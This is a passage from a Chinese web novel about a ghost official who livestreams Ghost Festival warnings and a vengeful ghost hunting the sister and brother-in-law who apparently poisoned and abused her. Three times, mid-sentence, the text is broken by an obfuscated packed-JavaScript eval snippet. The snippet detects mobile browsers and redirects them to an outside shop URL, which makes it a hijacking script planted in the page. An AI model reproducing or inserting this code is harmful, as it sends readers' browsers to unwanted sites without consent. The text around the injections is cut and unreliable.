“第一,那天晚上尽量早点回家,别出去些溜达。尤其八字轻、身体不好的。” “第二,如果非要出门烧纸祭祖,最好结伴。烧完赶紧走,别在十字路口逗留。” “第三,要是半夜听见有人喊你名字,别回头,别答应……” “第四……” 林正文一连说了七八条,这些老调重弹的话。 生长在这片土地上的人,从小听到大。但随着年龄和眼界的增长,这些东西又开始一点点抛下,不当回事了。 弹幕滚动: 【真的假的?说得我有点慌……】 【我奶奶也这么说!】 【游神大人那天晚上要加班吗?】 【好奇鬼节街上到底什么样……】 林正文看着那条“好奇”的弹幕,眉头一皱:“我劝你们别好奇。有些事,不知道比知道好。老老实实在家待着,刷剧打游戏不香吗?” 她看了眼系统界面,眼中一喜——开播二十分钟,香火值涨了八百多。 照这个速度,直播两小时,说不定真能凑够换勾魂锁的功德。 想到这,她讲得更卖力了。 “再给你们分享个真实案例——去年七月十五,就在本地有个小伙子,烧完纸不走,在道边抽着烟玩手机。”林正文压低声音,“结果,当天就有人一个劲给他打视频电话,接通一看——嚯!” “那小伙高烧三天,现在手机一响就哆嗦。” 弹幕一片【卧槽】。 “所以啊,听劝。”林正文语重心长,“那天晚上,我们地府全体加班,很忙的。你们少添乱,就是帮大忙了。” 时间一分一秒过去。 四十分钟时,香火值突破2000。 五十分钟,2500。 林正文心里计算着:按照这种速度,再坚持二十分钟,加上原有的八百多,绝对够四千了! 她越讲越起劲,甚至开始回答弹幕问题: “鬼魂长什么样?就跟电影里差不多,半透明,有的脸色苍白,有的带着死相……哎你们别怕,普通鬼魂伤不了人,顶多让你做几天噩梦。” “怎么分辨是不是鬼?回家问问老人都能知道,飘着、脚不沾地、没有影子……基本没跑。” “遇到恶鬼怎么办?跑啊!往庙里跑,往派出所跑——对,派出所虽然没法器,但正气足,一般鬼魂不敢进。” 她没注意到,系统界面右下角,有一行极小的倒计时数字正在跳动。 01:56 01:45 01:22 …… 【直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094201|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播时长已达上限,一分钟后自动关闭】 一行提示突然跳出。 林正文一愣:“上限?什么上限?” 她赶紧调出系统说明,快速浏览——【鬼差直播权限:单次直播时长不得超过60分钟,冷却时间72小时】。 “我靠!”她脱口而出。 弹幕: 【怎么了怎么了?】 【游神大人爆粗了!】 【是不是有情况?!】 林正文看着还剩最后十秒的倒计时,再看看香火值——3816。 不够。 还差184点。 “糟糕!我得下播了。”她语速飞快,“记住我说的话,七月十五,早点回家!” 顿了顿,她重重地叹了口气:“各自保重!” 话音刚落,直播自动切断。 屏幕漆黑。 楼顶上,林正文盯着系统界面里“3836”的数字,欲哭无泪。 “就差一点……就差一点啊!” 她懊恼地抓了抓头发,仰天大喊! 早知道有这限制,刚才就该少扯闲篇,直接呼吁打赏了! 她真后悔当初没仔细看那些又臭又长的系统规则! 现在说什么都晚了。冷却72小时,大后天就是七月十五。就算踩点开播,也来不及攒够功德兑换武器了。 “这下惨了……”她往后一仰,皱眉看着天空,“赤手空拳去巡七月十五的街?不被鬼挤死才怪。” 同一时间,市局会议室。 副厅长温长海从屏幕上收回视线。 他看着比林祺瑞小一点,五十出头,正是壮年。 会议室里坐着网安、治安、刑侦、各市局的主要负责人,包括郑砚安——现在不是避嫌的时候。 “都看清楚了?”温长海声音不高,带着不容置疑的气场,“七月十五,鬼门开。这不是封建迷信,是基于多次‘异常事件’后,我们必须正视的潜在公共安全风险。” 此话出,整个会议室的气氛都凝重了起来。 温长海环视众人,“现在,‘游神’亲自预警。我们可以不信鬼,但不能无视风险。” 他站起身,直接下达指令: “第一,网安支队牵头,立即制作安全警示,通过所有官方平台发布,同时在各个平带引导舆论风向。” “第二,七月十五当天,全省公安机关进入二级勤务,所有民警在岗。一半警力重点巡查十字路口、老旧社区、拆迁片区、公园河边等‘直播提及区域’。另一半警力备勤待命,不放假、不离辖区,随时都能拉得出、冲得上!” “第三,成立夜间应急专班。各派出所配备医疗小组,一旦发现行为异常、精神恍惚的群众,立即带离现场,妥善安置,避免引发恐慌或次生事件。” “收到!” 散会后,温长海单独留下郑砚安。 “你妹妹那边……如果能联系上,麻烦你告诉她,”温长海看向窗外夜色,“她不是在孤军奋战,我们都会在。看不见的地方,只能交给他们,但能看到的活人,我们会护好!” 郑砚安深吸一口气,正了正帽檐,抬手敬礼。 “收到!” 15. 第 15 章 林正文的直播间关闭了。 城市另一端,某栋普通居民楼的七层,客厅的灯光惨白。 赵建斌盯着黑掉的手机屏幕,喉咙发紧。 他手指无意识地摩挲着沙发扶手上的一道划痕—— 那是去年夏天,妻子的妹妹剪指甲不小心划到的。 当时妻子李昭兰还埋怨了几句,昭仪吐着舌头说“姐夫都不介意,姐你真小气”。 现在想来,每一个细节都让他浑身发寒,整个人都像被阴气包裹。 吓得他赶紧换了个位置。浑身的寒气却犹如跗骨之蛆,挥之不去。因为这屋子里到处都是李昭仪曾经的影子。 “她说的……”沙发对面的李昭兰开口,声音干涩难言,“你都听见了。” 赵建斌没吭声,目光闪烁不定的看着虚空。 “七月十五,鬼门开。”李昭兰喃喃重复着直播里的话,“亡魂返阳……昭仪她……会不会……” “闭嘴!”赵建斌突然低吼,随即意识到失态,压低声音,“那直播说不定是特效!现在AI什么做不出来?” 可这话连他自己都不信。 王友良庭审的新闻,前两天他们还坐在这一起看的。 “建斌,”李昭兰突然开口,声音很轻,“明天……我们去看看昭仪吧。” 赵建斌猛地抬头。 “不能等七月十五。”李昭兰转身,眼眶通红,“就明天。带上家伙,把东西取出来……万一真能回来,绝不能让她看到。” 沉默在客厅里蔓延。窗外霓虹闪烁,映在赵建斌脸上忽明忽暗。 “……好。” 次日清晨,南山公墓。 晨雾未散,墓园里弥漫着香火和潮湿泥土的气味。 李昭兰捧着一束白菊,赵建斌提着沉甸甸的塑料袋——里面除了纸钱,还有另一样用黑布裹着的东西。 昭仪的墓在半山腰。 远远地,他们看见墓前站着一个人。 那是一名六十多岁的老妇人,头发全白了,正用一块软布仔细擦拭墓碑上昭仪的照片。听到脚步声,她缓缓直起身,转过头来。 夫妻俩脚步一顿,李昭仪惊讶地瞪大了眼。 “妈?”李昭兰的声音有点抖,“您怎么……” “快点到中元节了,我怕你妹在下面缺衣少食,投胎可能没那么快,我得给她多捎点钱。” 她低头看着照片上笑容灿烂的女儿,眼泪又掉下来:“昭仪爱漂亮,生前天天穿校服,现在没人管了,爱穿啥穿啥。” 李昭兰不敢看墓碑上的照片,别过脸扶着母亲:“您别太伤心了。昭仪看到……该难过了。” 赵建斌手抖了一下,塑料袋发出窸窣声响。 李母抬头看去,扯了扯嘴角:“现在年轻人都不爱搞这个。建斌,昭兰,你们有心了。” 赵建斌往身后藏了藏,勉强笑道:“妈,我一直把昭仪当亲妹妹。” 最后三个字,他说得有点重,像是刻意强调什么。 李母没察觉异样,只是抹着眼泪絮叨:“昭仪懂事,每次打电话都说姐姐姐夫对她好……还跟我说,要是考不上大学,就早点出去打工挣钱,好好报答你们……” 李昭兰别过脸,指甲掐进掌心。 烧纸时,李母蹲在墓前,一张张往火盆里添纸钱,嘴里念叨。 “昭仪啊,在下面别省着花……缺什么就给妈托梦……” 火苗跳跃,映着三人各异的神情。 李昭兰不自在道:“妈,托梦什么的,都是日有所思夜有所梦。” 李母没和她辩驳,沉默地低头看着墓碑上的照片。 突然,她像是想起什么,抬头说:“对了,我打算中元节在家里供点饭菜,上三炷香。以前的老人都说去世的人会顺着香味回来……” “妈!”李昭兰和赵建斌同时出声,声音都破音了。 李母被他们的反应吓了一跳:“怎么了?” “没、没什么。”赵建斌勉强笑道,“就是……觉得这说法怪瘆人的。” 李母却摇头:“有什么瘆人的?我巴不得昭仪能回来看看我。” 她看向女儿女婿,眼神恳切,“你们也摆一摆吧。昭仪生前跟你们亲,说不定……也想你们了。” 话音落下。 李昭兰的脸色瞬间惨白。 赵建斌手里的塑料袋“啪”地掉在地上,裹着的东西滚出来一角——是金属的冷光。 他慌忙蹲下身,用纸钱盖住,手指抖得厉害。 李母还想说什么,李昭兰已经搀起她:“妈,天太热了,咱们赶紧走吧。” “等你们的东西烧完了一起走?” 赵建斌赶忙摆手:“让昭兰先带您回车里,我来收拾。” 李母起身:“我自己去就行了,昭兰留下来,你们姐妹以前总有说不完的话。” 两人虽然找借口留了下来,却不敢呆太久,生怕岳母扭头找过来。把纸钱烧完,就匆匆回到车上。 回程的路上,夫妻俩有些心不在焉,李母还在念叨中元节的事。每一句话都像针,扎进夫妻俩紧绷的神经里。 送到车站,看着公交车驶远,两人站在路边,久久没动。 “她看见了。”赵建斌突然开口,声音阴沉。 李昭兰浑身一颤:“她只当是工具……” “万一她多想呢?”赵建斌转头盯着妻子,“万一她想起下葬时,我们坚持要放进去的那样‘东西’……” “别说了!”李昭兰捂住耳朵尖叫。 赵建斌却抓住她的手腕转向自己,力道大得指节发白:“现在知道怕了?当初往棺材里塞照片的时候,你不是也挺兴奋的吗?” 李昭兰瞳孔收缩,神情恍惚。 昭仪那时刚考上高中,家离得远,还不想住校。夫妻俩就主动把她接到新婚的房子,为了迎接妹妹的到来,夫妻俩特意带她去吃了顿海鲜,并且拍照留念。 李家的人都说他们夫妻俩仁义,昭仪也对他们十分感激。 这一住就是三年。 入殓的时候,他们坚持要把那张照片一起合葬,其他亲友看了十分感动。 如今,他们却觉得像个定时炸弹……因为,在那张合影背面,还贴了一张别的照片。 他们把它塞进了昭仪的墓碑下,紧挨着她的骨灰盒。 “那时候觉得她什么都不知道。”赵建斌松开手,喘着粗气,“可现在……如果鬼魂真能回来,那她……” 男人的手指死死攥紧:“必须在中元节前,把东西拿出来。” 李昭兰张了张嘴,最终只是麻木地点了点头。 傍晚八点,墓园一片寂静,空无一人。 “嘎嘎!” “啊!”李昭兰做贼心虚,一点动静,就能让她惊得跳起来。 “怕什么!不过是只乌鸦!”赵建斌瞪了她一眼。 夫妻俩趁着门卫是没人,快步溜了进去。 赵建斌背着一个帆布包,里面是壁纸刀、玻璃胶、撬棍、手套。李昭兰跟在后面,每一步都像踩在棉花上。 昭仪的墓前,傍晚的光线斜照,墓碑拖出长长的影子。 赵建斌动作很快——当初入殓,他主动忙前忙后,亲自封胶——事后李家人对他更是满意。 不到十分钟,墓穴盖板就被撬棍掀开一道缝。 阴冷的气息涌出来,带着泥土和……某种难以形容的味道。 李昭兰别过脸,胃里翻腾。 赵建斌戴好手套,伸手进去。 骨灰盒冰冷,石壁僵硬,连空气都透着潮湿阴寒……随后,他指尖碰到了那张滑溜溜的纸。 赵建斌一把抓住,抽出来。 就在这时,李昭兰突然低声说:“建斌……当初,我们是不是……太过分了?” 赵建斌动作一顿。 “那三年……她已经够可怜了。”李昭兰声音发抖,“我们把她当什么了?连死了都不放过……” “现在说这些有什么用?!”赵建斌压低声音吼回去,“当初要不是你配合,我能成事吗?现在装什么良心发现?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094202|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李昭兰眼泪涌出来:“可我是……” “闭嘴!”赵建斌厉声制止,“你想在这儿全说出来吗?!” 他接着月色,确认两张照片没有问题,就开始恢复墓穴。手忙脚乱中,撬棍“哐当”一声掉在墓碑旁。 两人同时僵住。 远处传来巡逻保安的手电光,朝这边扫了扫。他们屏住呼吸,趴在地上。光柱掠过,没发现异常。 等保安走远,赵建斌才抓起工具,拉着李昭兰跌跌撞撞逃离。 他们不知道。 就在同一时间,地府,望乡台。 李昭仪站在巨大的水镜前,看着这一切。 她死的时候十八岁,高三刚毕业。 告别宴上喝多了,回家后姐姐递来一杯蜂蜜水,说让她舒服一些。 她喝了,然后开始剧烈呕吐,呼吸困难,姐姐姐夫送医抢救无效,意外身亡。 刚下地府时,判官翻着生死簿,看了她很久,说了句:“死得冤。” 懵懂的她当时没深想。醉酒猝死,确实冤枉。 判官也没多说,只让她在枉死城等着。 可现在——水镜里,姐姐和姐夫深夜盗墓,从她棺材里拿走了一件东西。 “那是什么……”李昭仪喃喃自语。 水镜中的画面一点点放大,赵建斌借着夜色,把照片举高。 那一刻,李昭仪双目突然瞪大,难以置信的看着照片上的内容。 记忆碎片突然闪现——那杯蜂蜜水有点苦,她当时以为是自己喝多了,味觉出问题。昏睡过去前,她好像看见姐夫走进房间,姐姐站在门口…… 再然后,就是医院刺眼的灯光,仪器尖锐的鸣响。 最后的意识里,姐姐握着她的手哭:“昭仪,你别吓姐……都是姐不好,不该让你喝那么多……” 当时她觉得,姐姐是真伤心。 现在看着水镜里仓皇逃离的两人,李昭仪魂体开始升腾起浅灰色的怨念,几个呼吸的功夫,灰色渐渐变浓,中间还生出了几缕不详的血色。 丙等怨鬼、乙等怨鬼……丙等厉鬼…… 最后稳定在乙等厉鬼! 她低头看着自己半透明的手。 “姐姐……”她轻声说,声音在地府的风里散开,“姐夫……” 水镜开始模糊——四十九天的特权即将到期,她再也看不到阳间的景象了。 但没关系,马上就是中元节了,她可以亲口去问一问真相! 李昭仪转身,走下望乡台。 怨气在身后飘荡,张牙舞爪,如影随形。 远处,巡逻的鬼差若有所感,朝望乡台看了一眼。新死的亡魂常有执念,不算异常。尤其这里还是枉死城。 枉死城——没到命定之期,提前死掉的亡魂,才会被送到这里。 鬼差摇摇头,继续巡逻。 阳间,夫妻俩回到家。 赵建斌颤抖着手,取出两张照片—— 第一张,三人凑头坐在一起,李昭兰在中间,他和李昭仪分坐两侧,每个人都笑容灿烂,毫无阴霾。 第二张,拍摄时间间隔三年,还是之前三人…… “嚓!”他划亮打火机。 火苗舔上相纸,吞噬了女孩不安的睡颜,吞噬站在她身边的恶魔夫妻,也吞噬了三年来,隐藏在夜晚的秘密。 李昭兰看着火焰,突然想起母亲的话: “去世的人会顺着香味回来……” 如果昭仪真的回来……她猛地打了个寒颤。 “不行,十五那天我们不开火,也不出去乱走!” 李昭兰右眼皮神经质的抽搐,在客厅没头苍蝇似的转圈,突然扇了自己一巴掌。 “啪——” “别跳了!跳什么跳!没事,一定不会有事的!” 她冒出一句怪叫:“不!还不够!” “我们不能在家!” “去酒店!对……去她找不到的地方……” 绝不能给她机会寻着味找过来! 16. 第 16 章 中元节,晚八点。 天色彻底暗下来的那一刻,整座城市的气温仿佛骤降了三度。 林正文飘在市中心最高的建筑楼顶,黑色劲装融入夜色,往日惯常没正形的人都多了几分严肃。 她低头看着系统界面——【直播冷却时间:02:07:33】 “偏偏是今晚……”她嘀咕一声,目光扫过下方的街道。 起初还很平静。 随着各个十字路口燃起火光,在人类肉眼看不见的地方,开始零星有半透明的身影从地面“渗”出来,像水底浮起的气泡。 大多是穿着寿衣的老者,神色茫然地飘荡着,循着香火气味找到自家子孙烧纸的灰圈。他们蹲在旁边安静地“吸食”,一脸慈祥地看着对方,口中念叨着什么。 也有年轻些的亡魂,蹲在十字路口,眼巴巴等着“野祭”——那些因为各种原因,停留在原地无人认领的纸钱灰烬。 比如,对象已经投胎了,或是在十八层地狱出不来,亦或是烧纸的方式错误……都会成为孤魂野鬼的无主盛宴。 这是地府允许的“福利”。 但林正文的眉头渐渐皱了起来,心中开始隐隐不安,忍不住几分钟看一次系统界面。 九点过后,“气泡”越来越密集。鬼魂的数量以肉眼可见的速度增长。 这时候如果有八字轻的活人走在路上,就能隐约看到那些薄薄的、影影绰绰的灰雾,出现在路灯照不到的阴影下。 随着时间的推移,灰雾开始向外张牙舞爪的蔓延,状态也越来越凝实。 更麻烦的是——鬼魂的“品种”变了。 之前还多是安分守己的普通亡魂,九点半以后,开始出现身上蒸腾着不祥气息的凶鬼。 它们不满足于规规矩矩吸食自家香火,开始抢夺无主的灰圈,甚至为了半截香互相撕扯。 林正文亲眼看见,两个穿着民国衣服的老鬼为了一处燃烧正旺的灰堆大打出手,阴气碰撞发出“嗤嗤”声响,把火星卷起数米高,吓得旁边几个新死的年轻鬼魂躲出老远。 “要乱了。”她低声判断。 果然,临近十点,第一批“问题鬼”出现了。 那是个穿着八十年代工装的中年男鬼,胸口一个碗口大的血窟窿。 它不抢香火,而是在居民楼附近逡巡,试图从窗户缝隙钻进去。 林正文及时赶到,一道鬼气抽在它背上,厉声呵斥:“滚回去吃你的!再靠近活人住所,立刻遣返!” 她声音虽严厉,心中却知自己的虚张声势。手上没有武器,必须出手就把人吓退,否则后果不堪设想。 男鬼怨毒地瞪了她一眼,感受到游神的气息,最终还是悻悻退走。 这只是开始。 十点整,鬼门彻底打开。 街道上的灰雾浓得化不开。林正文辖区的某些偏僻之地,几乎每个路口都有几十个燃烧的灰堆,鬼魂密度已经到了摩肩接踵的程度。 躁动如同瘟疫般蔓延。 有鬼魂开始哭泣,哭声凄厉刺耳;有鬼魂开始狂笑,笑声癫狂骇人;更有甚者,开始显露出生前最痛苦的死状——上吊的吐出长舌,溺水的浑身滴水,车祸的四肢扭曲…… 它们在宣泄。 宣泄枉死的痛苦,宣泄滞留地府的不甘,宣泄对阳间活人的嫉妒。 林正文在楼宇间飞速穿梭,手中的临时凝结的鬼气鞭已经甩出去十几次,赶走了七八个试图接近体弱居民的怨鬼。 中途遇到好几次本地的其他鬼差,所有人都顾不得寒暄,点了点头,便擦身而过。 每次遇见同行,林正文都忍不住眼馋的看着对方手里的武器。 她的鬼气实在消耗得太快了,额角渗出细密的冷汗,飘在天上的动作都有些无力。 “这样不行……”她喘了口气,看向系统界面。 十点零三分。直播冷却还剩三十七分钟。 同一时间,城东某处村落。 李昭仪从母亲卧室的窗户飘了进来。 供桌上摆着三菜一汤,都是她生前爱吃的:糖醋排骨、清炒虾仁、蒜蓉西兰花,还有一碗热气腾腾的西红柿鸡蛋面。 三炷香已经燃了一半,青烟笔直向上,在空气中留下淡淡的痕迹。 李昭仪走到供桌前,深深吸了一口。 香火化作精纯的阴气,涌入魂体。她身上翻腾的血色怨气略微平复了一些,狰狞的鬼相也柔和了几分,隐约能看出生前清秀的模样。 她坐在桌边,一口一口的吃完所有的饭菜。 随着她的进食,食物虽然看起来没动分毫,却宛如笼罩一层灰霾。 直到全部吃完,李昭仪才飘到床边。 母亲睡着了,眼角还挂着泪痕,手里攥着一张昭仪小学时的照片。李昭仪蹲下来,手指虚虚拂过母亲花白的头发。 “妈。我回来了。” 睡梦中的李母似乎有所感应,眉头皱了皱,呢喃了一声“昭仪”。 “我挺好的。”李昭仪继续说,尽管知道母亲听不见,“就是有些事……得弄明白。等我办完了,再来看您。” 她起身,最后看了一眼这个她生活了十八年的家,然后穿墙而出,融入夜色。 目标明确:姐姐姐夫的家。 十点十五分,锦绣家园小区。 李昭仪悬浮在7栋704的窗外——那是赵建斌和李昭兰的房子。窗帘紧闭,屋里一片漆黑。 她直接穿了进去。 客厅、卧室、厨房均空无一人……连昭仪生前住的那个小房间,也空荡荡的。 李昭仪站在房间中央,环视四周。 那些年这里到底发生了什么?死前的那一夜究竟是偶然,还是…… “不在家?”她歪了歪头,声音冰冷,“躲起来了?” 魂体周围的血色怨气开始不受控制地翻涌,就像心中的怨恨一样,随着时间的推移,越烧越旺。 “没有做贼心虚,你们躲什么!” 原本只有七分怀疑,现在见到这一幕,几乎是定案了! 想到自己死前的痛苦和对母亲的愧疚、思念……让她的理智越来越薄弱,无暇顾及地府鬼差耳提面命的规矩,带着勃然怒气,直接穿墙来到隔壁703。 703室,卧室。 男主人三十出头,此刻正戴着耳机,对着电脑屏幕上一个衣着暴露的女主播嘿嘿傻笑,右手在下面动作着。 突然,电脑屏幕闪烁了一下。 女主播娇媚的笑脸扭曲、变形,皮肤变得惨白,眼眶渗出血泪—— “卧槽?!”男人吓得一哆嗦,全身都软了。 更恐怖的是,屏幕里的“女主播”竟然缓缓抬起了头,血红的眼睛直勾勾盯着他。然后,一只苍白枯瘦的手从屏幕里伸了出来。 男人想尖叫,喉咙却像被扼住,只能发出嗬嗬的抽气声。眼睛瞪的溜圆,眼白上翻,眼看就要背过气了。 接着,脑袋也从屏幕里钻了出来,长发披散,脸上布满蛛网般的血丝。 直到完全爬出屏幕,李昭仪蹲在电脑桌上向前探,整张脸几乎贴在男人面前,歪着头问: “你知道……赵建斌去哪了吗?” 男人两眼一翻,直接晕了过去,□□湿了一片。 李昭仪皱眉,怨气更盛。 她飘出703,来到隔壁702。 702室,卫生间。 女租客刚洗完澡,正对着镜子吹头发。吹风机嗡嗡作响,掩盖了其他声音。 镜子上水雾弥漫,她突然隐约感觉自己身后好像多了个人。 “小雅?”女租客以为是合租的室友。 “需要帮忙吗?”身后传来幽幽的话语。 女租客还以为室友着急上厕所,想也不想道:“那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094203|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮我吹后面吧,很快就完事了。” 有只手接过了吹风机。 冰凉的手指擦过她的后颈,女租客打了个寒颤:“你手怎么这么冷……” 吹风机继续工作。热风吹过,镜子上的水雾渐渐消散。片刻后,热风变凉,毛躁的头发变得柔顺。 女租客道了声谢,伸手去接吹风机。就在这时,她无意中瞥了一眼镜子—— 水汽已经散去一半。 镜子里映出的,不是她和室友。 而是一个脸色惨白、眼眶充血的陌生女人,正站在她身后,手里拿着吹风机。 “啊——!!!”凄厉的尖叫划破夜空。 李昭仪倾身把吹风机挂回架子上,冰冷的声音贴着女租客的耳朵响起:“我帮了你……你得回报我。” “告诉我……赵建斌去哪了?” 女租客浑身抖如筛糠,脑子却意外地清醒,思绪不受控制地开始天马行空—— 她看过安全科普,在空间不够、自身条件不满足的情况下,面对“匪徒”,要做的不是反抗,而是暂时顺从。 除此之外,她还看过林正文的直播!知道“游神”,知道“鬼魂”,知道…… “我、我不知道……”她声音发颤,“但我可以打电话问!我室友可能认识他!你让我打电话!” 李昭仪血红的眼睛盯着她,半晌,缓缓退开一步。 女租客连滚爬爬冲出卫生间,抓起客厅的手机。手指哆嗦着按下了“110”。 “喂?110吗?锦绣家园7栋702!有鬼!女鬼!她要找赵建斌!救命——!!” 话没说完,手机被一股无形的力量抢走,摔在地上砸得粉碎。 李昭仪悬浮在她面前,长发无风自动,眼中血光暴涨:“你骗我……” “呃——!”女鬼双手猛地攀上女租客的脖子,窒息感瞬间涌上。 力道之大,她感觉自己脖子都要被扭断了。 “救……命……” 马路上,巡逻警车内。 “指挥中心呼叫各巡逻组,锦绣家园7栋702有群众报警,称遭遇灵异袭击,请求立即支援!重复,锦绣家园7栋——” 对讲机里的声音还没说完,开车的年轻警察就猛踩刹车。 副驾驶的老警察已经冲了下去——他们没有考虑过自己将要面对什么,只知道有人正在遭遇危险。 两人冲进7栋,直奔702,全程没超过一分钟。 暴力破门后,他们就看到,一名女士正双手掐着自己的脖子,脸色青紫,眼球凸出,已经翻白眼了。 “松开!”老警察上前试图掰她的手,却发现那双手像铁钳一样纹丝不动! 年轻警察见状,抡起警棍朝着女租客手肘处砸下——敲她麻筋,能让肌肉松弛。 “砰!” 女租客手臂一颤,力道稍松。老警察趁机把她双手扯开。 新鲜空气涌入,女租客剧烈咳嗽,咳着咳着就晕了过去。 “送医院!”老警察吼道,同时目光锐利地扫视房间,“还有没有其他人?” 整个房间空空荡荡,除了昏倒的女租客,空无一人。 整个楼层的人家都好奇的开门出来看热闹,老警察视线扫了一圈,视线落在从始至终都没动静的704和703。 特殊情况,顾不得规矩了。 两人分别冲进一户房间,年轻警察首先从703扛出来一个只穿上衣、昏迷不醒的男人。 两人在同层住户的帮助下把两个受害者抬下楼,救护车也呼啸而至。 现场一片混乱。 而这一切,都被悬浮在对面楼顶的林正文看在眼里。 她没有贸然靠近——那股浓得化不开的怨气,隔了几十米都能感觉到冰冷刺骨。 最少也是丙等厉鬼,甚至可能更强。 “麻烦大了……” 17. 第 17 章 林正文皱眉,目光锁定那个正在现场指挥的中年警察。 她飘近了些,停留在路灯上方的阴影中,竖起耳朵。 对讲机里不断传来消息: “指挥中心:703室男子已苏醒,声称有女鬼从电脑爬出,询问赵建斌下落。” “巡逻二组:已联系上锦绣家园物业,704的赵建斌夫妇于今日下午三点从小区离开,去向不明。” “技术科:正在调取赵建斌的社会关系。初步排查,其亲属中一年内非正常死亡者仅一人——妻妹李昭仪,十八岁,五十天前醉酒意外身亡。” 林正文眼睛一亮。 李昭仪,十八岁,醉酒意外。 如果是意外,何来如此滔天怨气?何至于冒着违背地府规矩的风险,不惜惊扰活人也要寻找姐夫? “有冤情。” 林正文看了眼系统界面:冷却还剩三十分钟。 短短七分钟,就有好几个人从7栋被抬出去了,那女鬼显然已经失控了。 三十分钟足够她做出无法挽回的事。 林正文一咬牙:“拼了!” 她刚要往前冲,斜侧方一道身影极速飞来。 不等她戒备,清脆的声音传入耳畔—— “游神大人!这里交给我!放心,绝不让她乱来!” 林正文定睛一看,没想到,来者竟然是吴暮雨,她裹挟着汹涌的鬼气,埋头冲入锦绣家园。 对了,今天是中元节,吴暮雨一定也回来和家人团聚。 她的到来,让林正文松了口气,立刻改变主意。 武力牵制有吴暮雨,现在必须弄清楚李昭仪的死因,判断她的执念核心,才有办法应对。 “等着我!”说完,林正文转身,化作一道阴风朝城隍庙方向疾驰。 她要借地府的关系,查生死簿! 城隍庙后院,香火缭绕。 老城隍听完林正文的简述,脸庞上也露出凝重之色:“厉鬼寻仇,绝非你我能应对。但调阅生死簿……不是说说这么简单的。” “必须得查!”林正文急道,“那厉鬼已经伤了两个活人,再闹下去,必出人命!” “城隍大人,您能不能直接联系崔判?就说情况紧急,涉及阳间人命!” 老城隍沉吟片刻,终于点头。 他走进内堂,取出一面古朴的铜镜,手指轻点,在镜面画了个符。 镜面泛起涟漪,浮现出判官殿的景象。 中元节当晚各地都在生乱,崔判忙得眉头拧成疙瘩,抽空抬头看见铜镜,皱眉道:“何事?” “崔判大人。”老城隍躬身,“本地有厉鬼作乱,已伤及活人。游神林正文请求调阅生死簿,查明冤情,以便应对。” 崔判的目光穿过铜镜,落在挤开城隍正要开口林正文身上。 “你先闭嘴!”崔判没好气道,不乐意看她,心烦地按了按太阳穴。 林正文急得嘴巴开合数次,就在她以为要被刁难时,崔判缓缓开口:“鬼名。” “李昭仪,女,十八岁,死于五十天前,醉酒意外。” 崔判翻动手边厚重的簿册,很快找到一页。 他扫了一眼,表情微动,然后抬眼看向林正文:“此女死因确有蹊跷,她的真实死因是麻醉药物过量,并不是醉酒性休克。” 崔判看着生死簿上的名字,想到了不久前来到地府的女孩。 明明是被害死的,还孩子自己却懵懂无知的样子。 为了稳定对方情绪,崔判就顺水推舟的没有说出实情。没想到,纸还是包不住火。 既然说了,崔判就索性把严重性说透,公事公办地将她的死因真相一一道出。 林正文没想到那女孩死的这么惨,听到最后,她拳头已经攥紧,指甲陷进掌心。 她声音发寒:“怪不得怨气这么重。” 崔判合上生死簿:“信息已给你。如何处置,你自己斟酌。但记住——厉鬼若在阳间杀人,便入煞鬼之列,届时只能武力镇压,魂飞魄散,特殊时期你可权宜行事。” 不等她想明白最后一句话的意思,铜镜画面就消散。 林正文站在原地,消化着刚才的信息。愤怒在胸腔翻腾,但她强迫自己冷静。 现在最重要的是两件事:一,找到赵建斌夫妇;二,在李昭仪彻底失控杀人前,阻止她。 找赵建斌……如果能安抚李昭仪,用因果追踪倒是可以。 而且警察已经介入,正在调查赵建斌的下落,想必用不了多久就能有所收获。 现在最重要的是,如何按住失控的李昭仪……这就让林正文有些发愁了。 崔判通过生死簿,已经得知李昭仪最新的变化。 她如今是乙等厉鬼,吴暮雨比她差一个等级,牵制都困难,更别提彻底压制。 林正文看向老城隍:“大人,能否再帮我联系一个人。” “谁?”城隍好奇。这人刚死没几天,还能找谁帮忙? “劈山鬼,我要求他帮忙,借我几个帮手。” 城隍手持铜镜,刚画完符,闻言愣住:“劈山大人?你如何认得……” 铜镜亮了一下,林正文不等他话未说完,挤过去对着镜面急声道:“是我!林正文!劈山大哥,江湖救急!” 镜面那头传来嘈杂的背景音——风声、鬼啸、金铁交鸣,夹杂着劈山鬼如雷的吼声。 “守住东面!别让那群女鬼冲进民宅!” “大哥!”林正文提高音量,“我这儿有个乙等厉鬼寻仇,已经伤了活人!我需要帮手!” 镜面一阵晃动,劈山鬼那张狰狞的脸凑近,眼中刚还带着凶气:“林游神?你那边也乱了?” 